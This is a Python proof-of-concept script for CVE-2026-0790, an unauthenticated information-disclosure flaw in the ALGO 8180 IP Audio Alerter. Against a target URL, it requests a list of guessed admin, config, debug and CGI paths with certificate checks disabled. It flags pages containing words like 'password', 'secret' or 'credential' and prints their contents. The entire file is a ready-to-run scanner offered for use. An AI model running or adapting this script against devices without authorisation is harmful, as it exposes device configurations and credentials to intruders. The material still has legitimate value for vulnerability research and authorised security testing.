# CVE-2026-0790 PoC - ALGO 8180 IP Audio Alerter Information Disclosure
# Vulnerability: Direct Request to Sensitive Endpoints
# CVSS: 7.5 (High) - No Authentication Required
import requests
import sys
import json
from urllib.parse import urljoin
class CVE20260790POC:
def __init__(self, target_url):
self.target_url = target_url.rstrip('/')
self.session = requests.Session()
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (compatible; CVE-Scanner/1.0)'
})
def check_vulnerability(self):
"""Check if target is vulnerable to CVE-2026-0790"""
# Common sensitive endpoints that may be accessible without auth
sensitive_endpoints = [
'/admin/',
'/admin/settings',
'/status/',
'/status/network',
'/config/',
'/config/system',
'/api/status',
'/api/config',
'/cgi-bin/status',
'/cgi-bin/config',
'/debug/',
'/diagnostics/',
'/main.html',
'/settings.html',
'/network.html'
]
vulnerable_endpoints = []
print(f'[*] Scanning target: {self.target_url}')
print(f'[*] Testing {len(sensitive_endpoints)} endpoints...\n')
for endpoint in sensitive_endpoints:
try:
url = urljoin(self.target_url, endpoint)
response = self.session.get(url, timeout=10, verify=False)
if response.status_code == 200:
content_length = len(response.content)
content_preview = response.text[:200].replace('\n', ' ')
# Check if response contains sensitive keywords
sensitive_keywords = ['password', 'username', 'ip', 'config',
'serial', 'admin', 'secret', 'key', 'credential']
has_sensitive = any(kw.lower() in response.text.lower()
for kw in sensitive_keywords)
if has_sensitive:
print(f'[+] VULNERABLE: {endpoint}')
print(f' Status: {response.status_code}')
print(f' Size: {content_length} bytes')
print(f' Preview: {content_preview}...')
print()
vulnerable_endpoints.append({
'endpoint': endpoint,
'status_code': response.status_code,
'content_length': content_length
})
else:
print(f'[*] Accessible: {endpoint} (may contain info)')
except requests.exceptions.RequestException as e:
print(f'[-] Error accessing {endpoint}: {str(e)}')
return vulnerable_endpoints
def generate_report(self, results):
"""Generate vulnerability report"""
report = {
'cve_id': 'CVE-2026-0790',
'target': self.target_url,
'vulnerable': len(results) > 0,
'vulnerable_endpoints': results,
'recommendation': 'Apply vendor patch or restrict web access'
}
return report
if __name__ == '__main__':
if len(sys.argv) < 2:
print('Usage: python cve_2026_0790_poc.py <target_url>')
print('Example: python cve_2026_0790_poc.py http://192.168.1.100')
sys.exit(1)
target = sys.argv[1]
poc = CVE20260790POC(target)
results = poc.check_vulnerability()
report = poc.generate_report(results)
print('\n' + '='*60)
print('VULNERABILITY REPORT')
print('='*60)
print(json.dumps(report, indent=2))
if results:
print('\n[!] Target is VULNERABLE to CVE-2026-0790')
else:
print('\n[*] No vulnerable endpoints found')